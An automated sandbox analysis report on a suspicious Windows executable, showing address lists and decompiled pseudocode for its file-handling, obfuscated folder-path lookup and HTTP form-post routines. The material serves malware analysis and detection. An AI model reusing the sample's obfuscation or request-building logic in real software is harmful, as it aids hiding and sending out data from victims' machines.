0x009a4f57
0x009a4f63
0x009a4f6f
0x009a4f7c
0x009a4f89
0x009a4f8f
0x009a4f9c
0x009a4fa8
0x009a4fb7
0x009a4fc5
0x009a4fd3
0x009a4fdf
0x009a4feb
0x009a4fff
0x009a5001
0x009a500b
0x009a5015
0x009a5020
0x009a5062
0x009a5067
0x009a5070
0x009a5088
0x009a508e
0x009a5095
0x009a50bb
0x009a50c9
0x009a50cb
0x009a50d9
0x009a50eb
0x009a50f7
0x009a50f7
0x009a50fc
0x009a50fc
0x009a5108
0x009a5110
0x009a512c
0x009a5132
0x009a5139
0x009a5147
0x009a514d
0x009a516d
0x009a5173
0x009a5175
0x00000000
0x00000000
0x009a5187
0x009a518f
0x009a5199
0x009a51b1
0x009a51b7
0x009a51bf
0x009a51c9
0x009a51cf
0x009a51d5
0x009a51db
0x009a51ee
0x009a51f4
0x009a5201
0x009a5208
0x009a521f
0x009a5225
0x009a5243
0x009a5248
0x009a524b
0x009a5251
0x009a526f
0x009a5271
0x009a5277
0x009a5289
0x009a529e
0x009a52a4
0x009a52b2
0x009a52be
0x009a52c4
0x009a52ca
0x009a52d0
0x009a52dc
0x009a52e2
0x009a5303
0x009a5303
0x009a530d
0x009a5327
0x009a5337
0x009a533e
0x009a534f
0x009a5356
0x009a535b
0x009a5360
0x009a5365
0x009a5368
0x009a537f
0x009a5385
0x009a538b
0x00000000
0x00000000
0x009a53a1
0x009a5376
0x009a5376
0x009a5379
0x009a5379
0x00000000
0x009a53a8
0x009a52ea
0x009a52f0
0x00000000
0x00000000
0x009a52f8
0x00000000
0x009a52f8
0x009a53ad
0x009a53b4
0x009a53bc
0x009a53c2
0x009a53c4
0x009a53c4
0x009a53c2
0x009a53cd
0x009a53d5
0x009a53dd
0x009a53e9
0x009a53f5
0x009a5401
0x009a540c
0x009a5416
0x009a5428
0x009a542e
0x009a5439
0x009a5443
0x009a5455
0x009a545b
0x009a5467
0x009a5472
0x009a547c
0x009a5487
0x009a5491
0x009a5499
0x009a54a5
0x009a54ab
0x009a54b2
0x009a54bf
0x009a54c2
0x009a54c9
0x009a54d0
0x009a54d8
0x009a54df
0x009a54ec
0x009a54f5
0x009a54fb
0x009a5506
0x009a550e
0x009a5514
0x009a551b
0x009a5527
0x009a5533
0x009a5548
0x009a5548
0x009a554a
0x009a5556
0x009a5562
0x009a556e
0x009a557a
0x009a5587
0x009a5597
0x009a55a6
0x009a55ab
0x00000000
0x009a513b
0x009a513b
0x009a55ae
0x009a55ae
0x009a55b5
0x009a55b7
0x009a55bd
0x009a55ca
0x009a55ca
0x009a55d0
0x009a55d7
0x009a55df
0x009a55e5
0x009a55ec
0x009a55ec
0x009a55f8
0x009a55fe
0x009a560b
0x009a5610
0x009a5616
0x009a5619
0x009a5621
0x009a5622
0x009a5633
0x009a5633
0x009a5139
0x009a5097
0x009a509e
0x009a50ab
0x009a50b0
0x00000000
0x009a50b0
0x009a5022
0x009a5029
0x009a5036
0x009a503b
0x00000000

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf12b97717a2928eebe30819d79496551d6796fbeb2e53e02c223150705f13ef
Instruction ID: e90ddb0d9c446a7b2020a530940eb00eee5a5e079d943e0cb8ac253f10d6bb54
Opcode Fuzzy Hash: cf12b97717a2928eebe30819d79496551d6796fbeb2e53e02c223150705f13ef
Instruction Fuzzy Hash: 4F22C3B0E056689BEB64DF18CC81B9AB7F4BB89300F14C2D9D48DA7281DB315E85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 009ACDB0 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0003CDBC,009AC86B), ref: 009ACDB5

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dd59744512f8d1a5d5c7ec7bb3cb36faba4cf87e02efebf40e2307da7ed2b234
Instruction ID: 4599744d1600e377bcd98cdcbda91cafbd71d27499c96ac39a52d106815d7cac
Opcode Fuzzy Hash: dd59744512f8d1a5d5c7ec7bb3cb36faba4cf87e02efebf40e2307da7ed2b234
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 009BD665 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E009BD665(void* __ecx, void* __eflags, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v5;
				void* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				intOrPtr _v40;
				signed int _v48;
				void _v52;
				char _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t114;
				void* _t122;
				signed int _t123;
				signed char _t124;
				signed int _t134;
				intOrPtr _t162;
				intOrPtr _t178;
				void* _t188;
				signed int* _t189;
				signed int _t191;
				signed int _t196;
				signed int _t202;
				signed int _t205;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t224;
				signed int _t226;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				signed int _t238;
				signed char _t241;
				signed int _t242;
				intOrPtr _t246;
				void* _t249;
				void* _t253;
				void* _t263;
				signed int _t264;
				signed int _t267;
				signed int _t268;
				signed int _t271;
				void* _t273;
				void* _t275;
				void* _t276;
				void* _t278;
				void* _t279;
				void* _t281;
				void* _t285;

				_t263 = E009BD3B3(__ecx,  &_v76, _a16, _a20, _a24);
				_t191 = 6;
				memcpy( &_v52, _t263, _t191 << 2);
				_t275 = _t273 + 0x1c;
				_t249 = _t263 + _t191 + _t191;
				_t264 = _t263 | 0xffffffff;
				if(_v40 != _t264) {
					_t114 = E009BBF62(_t188, _t249, _t264, __eflags);
					_t189 = _a8;
					 *_t189 = _t114;
					__eflags = _t114 - _t264;
					if(_t114 != _t264) {
						_v24 = _v24 & 0x00000000;
						_v28 = 0xc;
						_t276 = _t275 - 0x18;
						 *_a4 = 1;
						_push(6);
						_v20 =  !(_a16 >> 7) & 1;
						_push( &_v28);
						_push(_a12);
						memcpy(_t276,  &_v52, 1 << 2);
						_t196 = 0;
						_t122 = E009BD31E(); // executed
						_t253 = _t122;
						_t278 = _t276 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							L11:
							_t123 = GetFileType(_t253); // executed
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t123 - 2;
								if(_t123 != 2) {
									__eflags = _t123 - 3;
									_t124 = _v52;
									if(_t123 == 3) {
										_t124 = _t124 | 0x00000008;
										__eflags = _t124;
									}
								} else {
									_t124 = _v52 | 0x00000040;
								}
								_v5 = _t124;
								E009BBEAD(_t196,  *_t189, _t253);
								_t241 = _v5 | 0x00000001;
								_v16 = _t241;
								_v52 = _t241;
								 *( *((intOrPtr*)(0x9d31b8 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) = _t241;
								_t202 =  *_t189;
								_t204 = (_t202 & 0x0000003f) * 0x38;
								__eflags = _a16 & 0x00000002;
								 *((char*)( *((intOrPtr*)(0x9d31b8 + (_t202 >> 6) * 4)) + 0x29 + (_t202 & 0x0000003f) * 0x38)) = 0;
								if((_a16 & 0x00000002) == 0) {
									L22:
									_v5 = 0;
									_push( &_v5);
									_push(_a16);
									_t279 = _t278 - 0x18;
									_t205 = 6;
									_push( *_t189);
									memcpy(_t279,  &_v52, _t205 << 2);
									_t134 = E009BD0D0(_t189,  &_v52 + _t205 + _t205,  &_v52);
									_t242 =  *_t189;
									_t267 = _t134;
									_t281 = _t279 + 0x30;
									__eflags = _t267;
									if(_t267 == 0) {
										 *((char*)( *((intOrPtr*)(0x9d31b8 + (_t242 >> 6) * 4)) + 0x29 + (_t242 & 0x0000003f) * 0x38)) = _v5;
										 *( *((intOrPtr*)(0x9d31b8 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x9d31b8 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x9d31b8 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38)) & 0x00000001;
										__eflags = _v16 & 0x00000048;
										if((_v16 & 0x00000048) == 0) {
											__eflags = _a16 & 0x00000008;
											if((_a16 & 0x00000008) != 0) {
												_t224 =  *_t189;
												_t226 = (_t224 & 0x0000003f) * 0x38;
												_t162 =  *((intOrPtr*)(0x9d31b8 + (_t224 >> 6) * 4));
												_t87 = _t162 + _t226 + 0x28;
												 *_t87 =  *(_t162 + _t226 + 0x28) | 0x00000020;
												__eflags =  *_t87;
											}
										}
										_t268 = _v48;
										__eflags = (_t268 & 0xc0000000) - 0xc0000000;
										if((_t268 & 0xc0000000) != 0xc0000000) {
											L32:
											__eflags = 0;
											return 0;
										} else {
											__eflags = _a16 & 0x00000001;
											if((_a16 & 0x00000001) == 0) {
												goto L32;
											}
											CloseHandle(_v12);
											_v48 = _t268 & 0x7fffffff;
											_t214 = 6;
											_push( &_v28);
											_push(_a12);
											memcpy(_t281 - 0x18,  &_v52, _t214 << 2);
											_t246 = E009BD31E();
											__eflags = _t246 - 0xffffffff;
											if(_t246 != 0xffffffff) {
												_t216 =  *_t189;
												_t218 = (_t216 & 0x0000003f) * 0x38;
												__eflags = _t218;
												 *((intOrPtr*)( *((intOrPtr*)(0x9d31b8 + (_t216 >> 6) * 4)) + _t218 + 0x18)) = _t246;
												goto L32;
											}
											E009B3842(GetLastError());
											 *( *((intOrPtr*)(0x9d31b8 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x9d31b8 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
											E009BC075( *_t189);
											L10:
											goto L2;
										}
									}
									_push(_t242);
									goto L21;
								} else {
									_t267 = E009BD52D(_t204,  *_t189);
									__eflags = _t267;
									if(_t267 == 0) {
										goto L22;
									}
									_push( *_t189);
									L21:
									E009B7BA6();
									return _t267;
								}
							}
							_t271 = GetLastError();
							E009B3842(_t271);
							 *( *((intOrPtr*)(0x9d31b8 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x9d31b8 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
							CloseHandle(_t253);
							__eflags = _t271;
							if(_t271 == 0) {
								 *((intOrPtr*)(E009B389C())) = 0xd;
							}
							goto L2;
						}
						_t233 = _v48;
						__eflags = (_t233 & 0xc0000000) - 0xc0000000;
						if((_t233 & 0xc0000000) != 0xc0000000) {
							L9:
							_t234 =  *_t189;
							_t236 = (_t234 & 0x0000003f) * 0x38;
							_t178 =  *((intOrPtr*)(0x9d31b8 + (_t234 >> 6) * 4));
							_t33 = _t178 + _t236 + 0x28;
							 *_t33 =  *(_t178 + _t236 + 0x28) & 0x000000fe;
							__eflags =  *_t33;
							E009B3842(GetLastError());
							goto L10;
						}
						__eflags = _a16 & 0x00000001;
						if((_a16 & 0x00000001) == 0) {
							goto L9;
						}
						_t285 = _t278 - 0x18;
						_v48 = _t233 & 0x7fffffff;
						_t238 = 6;
						_push( &_v28);
						_push(_a12);
						memcpy(_t285,  &_v52, _t238 << 2);
						_t196 = 0;
						_t253 = E009BD31E();
						_t278 = _t285 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							goto L11;
						}
						goto L9;
					} else {
						 *(E009B3889()) =  *_t184 & 0x00000000;
						 *_t189 = _t264;
						 *((intOrPtr*)(E009B389C())) = 0x18;
						goto L2;
					}
				} else {
					 *(E009B3889()) =  *_t186 & 0x00000000;
					 *_a8 = _t264;
					L2:
					return  *((intOrPtr*)(E009B389C()));
				}
			}

0x009bd688
0x009bd68c
0x009bd68d
0x009bd68d
0x009bd68d
0x009bd68f
0x009bd695
0x009bd6b0
0x009bd6b5
0x009bd6b8
0x009bd6ba
0x009bd6bc
0x009bd6db
0x009bd6e2
0x009bd6e9
0x009bd6ec
0x009bd6f8
0x009bd6fb
0x009bd703
0x009bd704
0x009bd707
0x009bd707
0x009bd709
0x009bd70e
0x009bd710
0x009bd713
0x009bd71b
0x009bd71e
0x009bd78b
0x009bd78c
0x009bd792
0x009bd794
0x009bd7dd
0x009bd7e0
0x009bd7e9
0x009bd7ec
0x009bd7ef
0x009bd7f1
0x009bd7f1
0x009bd7f1
0x009bd7e2
0x009bd7e5
0x009bd7e5
0x009bd7f6
0x009bd7f9
0x009bd805
0x009bd80a
0x009bd816
0x009bd820
0x009bd824
0x009bd82e
0x009bd831
0x009bd83c
0x009bd841
0x009bd860
0x009bd863
0x009bd867
0x009bd868
0x009bd86e
0x009bd873
0x009bd876
0x009bd878
0x009bd87a
0x009bd87f
0x009bd881
0x009bd883
0x009bd886
0x009bd888
0x009bd8a2
0x009bd8c6
0x009bd8ca
0x009bd8ce
0x009bd8d0
0x009bd8d4
0x009bd8d6
0x009bd8e0
0x009bd8e3
0x009bd8ea
0x009bd8ea
0x009bd8ea
0x009bd8ea
0x009bd8d4
0x009bd8ef
0x009bd8fb
0x009bd8fd
0x009bd988
0x009bd988
0x00000000
0x009bd903
0x009bd903
0x009bd907
0x00000000
0x00000000
0x009bd90c
0x009bd91e
0x009bd926
0x009bd929
0x009bd92a
0x009bd92d
0x009bd934
0x009bd939
0x009bd93c
0x009bd970
0x009bd97a
0x009bd97a
0x009bd984
0x00000000
0x009bd984
0x009bd945
0x009bd95e
0x009bd965
0x009bd785
0x00000000
0x009bd785
0x009bd8fd
0x009bd88a
0x00000000
0x009bd843
0x009bd84a
0x009bd84d
0x009bd84f
0x00000000
0x00000000
0x009bd851
0x009bd853
0x009bd853
0x00000000
0x009bd859
0x009bd841
0x009bd79c
0x009bd79f
0x009bd7ba
0x009bd7bf
0x009bd7c5
0x009bd7c7
0x009bd7d2
0x009bd7d2
0x00000000
0x009bd7c7
0x009bd720
0x009bd727
0x009bd729
0x009bd760
0x009bd760
0x009bd76a
0x009bd76d
0x009bd774
0x009bd774
0x009bd774
0x009bd780
0x00000000
0x009bd780
0x009bd72b
0x009bd72f
0x00000000
0x00000000
0x009bd731
0x009bd740
0x009bd745
0x009bd748
0x009bd749
0x009bd74c
0x009bd74c
0x009bd753
0x009bd755
0x009bd758
0x009bd75b
0x009bd75e
0x00000000
0x00000000
0x00000000
0x009bd6be
0x009bd6c3
0x009bd6c6
0x009bd6cd
0x00000000
0x009bd6cd
0x009bd697
0x009bd69c
0x009bd6a2
0x009bd6a4
0x00000000
0x009bd6a9

APIs

Part of subcall function 009BD31E: CreateFileW.KERNEL32(?,00000000,?,009BD70E,?,?,00000000,?,009BD70E,?,0000000C), ref: 009BD33B

GetLastError.KERNEL32 ref: 009BD779
__dosmaperr.LIBCMT ref: 009BD780
GetFileType.KERNEL32(00000000), ref: 009BD78C
GetLastError.KERNEL32 ref: 009BD796
__dosmaperr.LIBCMT ref: 009BD79F
CloseHandle.KERNEL32(00000000), ref: 009BD7BF
CloseHandle.KERNEL32(009B787D), ref: 009BD90C
GetLastError.KERNEL32 ref: 009BD93E
__dosmaperr.LIBCMT ref: 009BD945

Strings

H, xrefs: 009BD8CA

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: e31ecec6ad909552de79e19c7365509d548f9882c251ed46c075627b42aba407
Instruction ID: 843ffb7cca9fa56ca294cce229e7cced2370a83c7c5a13a1df5deffe17640c5c
Opcode Fuzzy Hash: e31ecec6ad909552de79e19c7365509d548f9882c251ed46c075627b42aba407
Instruction Fuzzy Hash: 27A15532A191599FCF18EF68DD81BED3BA4AB46330F14015DF801AF291EB358902CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00973CC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E00973CC0(intOrPtr __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				signed int _v272;
				intOrPtr _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				signed int _v308;
				signed int _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				signed int _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				signed int _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t57;
				intOrPtr _t60;
				intOrPtr _t61;
				void* _t63;
				intOrPtr _t64;
				void* _t66;
				signed int _t67;
				signed int _t70;
				intOrPtr _t84;
				signed int _t94;
				void* _t105;
				intOrPtr _t111;
				void* _t114;
				signed int _t121;

				_t105 = __edx;
				_t57 =  *0x9d2008; // 0x9fef24bf
				_v8 = _t57 ^ _t121;
				_v276 = __ecx;
				_v272 = 0;
				_t60 =  *0x9d28d0; // 0x3a
				asm("cdq");
				_t114 = __edx;
				asm("adc edi, 0x0");
				_t61 =  *0x9d28d4; // 0xfc
				asm("cdq");
				asm("adc edx, 0x0");
				_t63 = E009C3280(_t61 + 0x4579, __edx, 0x4579, 0);
				_t88 = _t105;
				asm("adc ebx, 0x0");
				_t64 =  *0x9d28d4; // 0xfc
				asm("cdq");
				asm("adc edx, 0x0");
				_t66 = E009C3280(_t63 + 5, _t105, _t64 + 9, _t105);
				asm("adc edi, edx");
				asm("adc edi, 0x0");
				_t67 = E00972730(_t60 + 9 + _t66 + 0x4579, _t114);
				__imp__SHGetFolderPathA(0, _t67, 0, 0,  &_v268); // executed
				_v280 = _t67;
				_v288 = 0x4560;
				_v284 = 0;
				_v312 = _v288 ^ 0x00000019;
				_v308 = _v284 ^ 0x00000000;
				_v296 = 0x19;
				_v292 = 0;
				_t70 =  *0x9d28c0; // 0x51
				_t94 =  *0x9d28c4; // 0x0
				_v304 = E009C3280(_t70 ^ 0x00004579, _t94 ^ 0x00000000, 6, 0);
				_v300 = 0;
				_v320 = 0x4579;
				_v316 = 0;
				asm("adc ecx, edx");
				asm("adc ecx, 0x0");
				_v336 = _v296 + _v304 + 1;
				_v332 = _v292;
				asm("sbb ecx, edx");
				_v328 = _v312 - _v320;
				_v324 = _v308;
				_t111 = _v336;
				_v344 = E009C3300(_v328, _v324, _t111, _v332);
				_v340 = _t111;
				asm("cdq");
				_t120 = _v340;
				_v352 = _v280;
				_v348 = _t111;
				_v360 = _v344;
				_v356 = _v340;
				_t112 = _v352;
				if(_v352 != _v360 || _v348 != _v356) {
					E00971810(_v276, 0x9ccb49);
					_v272 = _v272 | 0x00000001;
					_t84 = _v276;
				} else {
					E00971810(_v276,  &_v268);
					_t112 = _v272 | 0x00000001;
					_v272 = _v272 | 0x00000001;
					_t84 = _v276;
				}
				return E009AC2E8(_t84, _t88, _v8 ^ _t121, _t112, _t114, _t120);
			}

0x00973cc0
0x00973cc9
0x00973cd0
0x00973cd6
0x00973cdc
0x00973cf1
0x00973cf6
0x00973cf9
0x00973cfe
0x00973d01
0x00973d06
0x00973d0c
0x00973d18
0x00973d1f
0x00973d24
0x00973d27
0x00973d2c
0x00973d30
0x00973d37
0x00973d3e
0x00973d46
0x00973d4b
0x00973d56
0x00973d5c
0x00973d64
0x00973d6e
0x00973d86
0x00973d8c
0x00973d94
0x00973d9e
0x00973da4
0x00973dae
0x00973dc2
0x00973dc8
0x00973dd0
0x00973dda
0x00973df8
0x00973dfd
0x00973e00
0x00973e06
0x00973e24
0x00973e26
0x00973e2c
0x00973e3e
0x00973e53
0x00973e59
0x00973e65
0x00973e6c
0x00973e72
0x00973e78
0x00973e7e
0x00973e84
0x00973e8a
0x00973e96
0x00973eda
0x00973ee8
0x00973eee
0x00973ea6
0x00973eb3
0x00973ebe
0x00973ec1
0x00973ec7
0x00973ec7
0x00973f04

APIs

Part of subcall function 00972730: __aulldiv.LIBCMT ref: 009727B2

SHGetFolderPathA.SHELL32(00000000,00000000), ref: 00973D56
__aulldiv.LIBCMT ref: 00973E4E

Strings

`E, xrefs: 00973D64
yE, xrefs: 00973DD0

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: __aulldiv$FolderPath
String ID: `E$yE
API String ID: 3798299979-886419907
Opcode ID: 2608a0ffaf62a258b1eab35d80f578b065d649c2621c3f6216df9ce025cd5fa5
Instruction ID: 5ac48f133ed643f7b569abd90a685ea24ecbc857b448eb3c64966a32f7fc1e0a
Opcode Fuzzy Hash: 2608a0ffaf62a258b1eab35d80f578b065d649c2621c3f6216df9ce025cd5fa5
Instruction Fuzzy Hash: 5B51C2B1E012289BDB68CF59DC91BDAB7B5FB88300F0481E9E50CA7390D6746EC08F94

Uniqueness

Uniqueness Score: -1.00%

Function 0097B5F0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E0097B5F0(void* __edx, void* __eflags, char _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v44;
				signed int _v45;
				intOrPtr _v52;
				intOrPtr* _v56;
				char _v60;
				void* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				signed int _v132;
				signed int _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t96;
				signed int _t97;
				intOrPtr _t100;
				intOrPtr _t101;
				intOrPtr _t102;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				signed int _t111;
				intOrPtr _t129;
				void* _t140;
				signed int _t147;
				void* _t168;
				intOrPtr _t169;
				intOrPtr _t175;
				void* _t182;
				void* _t184;
				void* _t185;
				void* _t191;
				signed int _t192;
				void* _t193;
				void* _t195;
				intOrPtr _t197;
				intOrPtr _t198;
				void* _t200;

				_t200 = __eflags;
				_t168 = __edx;
				_push(0xffffffff);
				_push(0x9c4e8d);
				_push( *[fs:0x0]);
				_t96 =  *0x9d2008; // 0x9fef24bf
				_t97 = _t96 ^ _t192;
				_v20 = _t97;
				_push(_t185);
				_push(_t182);
				_push(_t97);
				 *[fs:0x0] =  &_v16;
				_v8 = 0;
				E00971910( &_v44);
				_v8 = 1;
				_push(0x80);
				_t100 = E009AC4F3(_t168, _t200);
				_t195 = _t193 - 0xb0 + 4;
				_v52 = _t100;
				_v8 = 2;
				_t201 = _v52;
				if(_v52 == 0) {
					_v60 = 0;
				} else {
					E009ADBB0(_t182, _v52, 0, 0x80);
					_t195 = _t195 + 0xc;
					_v60 = E0099FF90(_v52, _t182, _t185, _t201);
				}
				_v72 = _v60;
				_v8 = 1;
				_t169 = _v72;
				_v96 = _t169;
				_t101 =  *0x9d28d0; // 0x3a
				asm("cdq");
				_t183 = _t169;
				asm("adc edi, 0x0");
				_t102 =  *0x9d28d4; // 0xfc
				asm("cdq");
				asm("adc edx, 0x0");
				_t104 = E009C3280(_t102 + 0x4579, _t169, 0x4579, 0);
				_t139 = _t169;
				asm("adc ebx, 0x0");
				_t105 =  *0x9d28d4; // 0xfc
				asm("cdq");
				asm("adc edx, 0x0");
				_t107 = E009C3280(_t104 + 0xb, _t169, _t105 + 9, _t169);
				asm("adc edi, edx");
				asm("adc edi, 0x0");
				_v88 = E00972730(_t101 + 9 + _t107 + 0x4579, _t169);
				_v112 = 0x107bc4;
				_v108 = 0;
				_v136 = _v112 ^ 0x00000019;
				_v132 = _v108 ^ 0x00000000;
				_v120 = 0x19;
				_v116 = 0;
				_t111 =  *0x9d28c0; // 0x51
				_t147 =  *0x9d28c4; // 0x0
				_v128 = E009C3280(_t111 ^ 0x00004579, _t147 ^ 0x00000000, 6, 0);
				_v124 = 0;
				_v144 = 0x4579;
				_v140 = 0;
				asm("adc ecx, edx");
				asm("adc ecx, 0x0");
				_v160 = _v120 + _v128 + 1;
				_v156 = _v116;
				asm("sbb ecx, edx");
				_v152 = _v136 - _v144;
				_v148 = _v132;
				_t175 = _v160;
				_t190 = _v156;
				_v168 = E009C3300(_v152, _v148, _t175, _v156);
				_v164 = _t175;
				_v172 = _v164;
				_v92 = _v168;
				_push(0);
				_t197 = _t195 + 8 - 0x18;
				_v176 = _t197;
				_v180 = E00986570(_t197, L"Content-Type: application/x-www-form-urlencoded\r\n");
				_v8 = 3;
				_t198 = _t197 - 0x18;
				_v184 = _t198;
				_v188 = E00971810(_t198, 0x9ccbbe);
				_v8 = 4;
				_push( &_v44);
				_v56 =  &_a4;
				_v68 = _v56;
				if( *((intOrPtr*)(_v56 + 0x14)) < 0x10) {
					_v64 = 0;
				} else {
					_v64 = 1;
				}
				_v45 = _v64;
				_t203 = _v45 & 0x000000ff;
				if((_v45 & 0x000000ff) != 0) {
					_v76 =  *_v56;
					_v68 = _v76;
				}
				_v80 = _v68;
				_v84 = _v80;
				_v192 = _t198 - 0x18;
				E00971810(_t198 - 0x18, _v84);
				_push(_v88);
				_push(_v92);
				_v8 = 1;
				_t129 = E009A2080(_t139, _v96, _t183, _t190, _t203); // executed
				_v100 = _t129;
				_v104 = _v100;
				_v8 = 0;
				E00971AB0( &_v44); // executed
				_v8 = 0xffffffff;
				E00971AB0( &_a4);
				 *[fs:0x0] = _v16;
				_pop(_t184);
				_pop(_t191);
				_pop(_t140);
				return E009AC2E8(_v104, _t140, _v20 ^ _t192, _v100, _t184, _t191);
			}

0x0097b5f0
0x0097b5f0
0x0097b5f3
0x0097b5f5
0x0097b600
0x0097b607
0x0097b60c
0x0097b60e
0x0097b612
0x0097b613
0x0097b614
0x0097b618
0x0097b61e
0x0097b628
0x0097b62d
0x0097b631
0x0097b636
0x0097b63b
0x0097b63e
0x0097b641
0x0097b645
0x0097b649
0x0097b66b
0x0097b64b
0x0097b656
0x0097b65b
0x0097b666
0x0097b666
0x0097b675
0x0097b678
0x0097b67c
0x0097b67f
0x0097b682
0x0097b687
0x0097b68a
0x0097b68f
0x0097b692
0x0097b697
0x0097b69d
0x0097b6a9
0x0097b6b0
0x0097b6b5
0x0097b6b8
0x0097b6bd
0x0097b6c1
0x0097b6c8
0x0097b6cf
0x0097b6d7
0x0097b6e4
